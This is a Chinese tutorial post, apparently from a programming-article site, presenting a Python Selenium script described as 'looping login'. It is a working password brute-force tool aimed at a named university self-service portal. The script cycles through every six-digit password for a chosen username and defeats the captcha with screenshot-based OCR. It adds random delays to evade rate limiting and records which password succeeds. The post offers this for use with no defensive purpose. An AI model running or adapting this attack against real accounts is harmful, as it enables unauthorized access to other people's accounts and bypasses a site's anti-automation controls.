python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python 变量类型及命名规则介绍
Jun 08 Python
详解django中自定义标签和过滤器
Jul 03 Python
利用python模拟sql语句对员工表格进行增删改查
Jul 05 Python
Python利用openpyxl库遍历Sheet的实例
May 03 Python
TensorFlow 模型载入方法汇总(小结)
Jun 19 Python
python实现自主查询实时天气
Jun 22 Python
Python3单行定义多个变量或赋值方法
Jul 12 Python
python中实现控制小数点位数的方法
Jan 24 Python
int在python中的含义以及用法
Jun 27 Python
python 定时器每天就执行一次的实现代码
Aug 14 Python
python右对齐的实例方法
Jul 05 Python
解决Pycharm双击图标启动不了的问题(JetBrains全家桶通用)
Aug 07 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
获取PHP警告错误信息的解决方法
2013/06/03 PHP
php操作mysql数据库的基本类代码
2014/02/25 PHP
Apache连接PHP后无法启动问题解决思路
2015/06/18 PHP
Zend Framework教程之分发器Zend_Controller_Dispatcher用法详解
2016/03/07 PHP
PHP is_array() 检测变量是否是数组的实现方法
2016/06/13 PHP
laravel实现简单用户权限的示例代码
2019/05/28 PHP
jQuery 源代码显示控件 (Ajax加载方式).
2009/05/18 Javascript
javascript onmouseout 解决办法
2010/07/17 Javascript
IE下js调试工具Companion.JS
2010/10/15 Javascript
jQuery实现table隔行换色和鼠标经过变色的两种方法
2014/06/15 Javascript
JavaScript中使用stopPropagation函数停止事件传播例子
2014/08/27 Javascript
JavaScript AJAX之惰性载入函数
2014/08/27 Javascript
简介JavaScript中的setTime()方法的使用
2015/06/11 Javascript
tuzhu_req.js 实现仿百度图片首页效果
2015/08/11 Javascript
ros::spin() 和 ros::spinOnce()函数的区别及详解
2016/10/01 Javascript
jQuery EasyUI 组件加上“清除”功能实例详解
2017/04/11 jQuery
基于react后端渲染模板引擎noox发布使用
2018/01/11 Javascript
JavaScript函数的特性与应用实践深入详解
2018/12/30 Javascript
vue实现条件叠加搜索的解决方法
2019/05/28 Javascript
JavaScript实现随机点名程序
2020/03/25 Javascript
Python实现树的先序、中序、后序排序算法示例
2017/06/23 Python
Python利用递归和walk()遍历目录文件的方法示例
2017/07/14 Python
python使用SMTP发送qq或sina邮件
2017/10/21 Python
python 通过xml获取测试节点和属性的实例
2018/03/31 Python
python使用turtle库与random库绘制雪花
2018/06/22 Python
PyCharm 专业版安装图文教程
2020/02/20 Python
pycharm实现在子类中添加一个父类没有的属性
2020/03/12 Python
Python多线程实现支付模拟请求过程解析
2020/04/21 Python
使用html5新特性轻松监听任何App自带返回键的示例
2018/03/13 HTML / CSS
美国首屈一指的礼品篮供应商:GiftTree
2018/01/06 全球购物
Notino芬兰:购买香水和化妆品
2019/04/15 全球购物
制作部班长职位说明书
2014/02/26 职场文书
党的群众路线教育实践活动学习心得体会
2014/03/03 职场文书
《第一次抱母亲》教学反思
2014/04/16 职场文书
旅游项目合作意向书
2015/05/08 职场文书
2016年学校“6﹒26国际禁毒日”宣传活动总结
2016/04/05 职场文书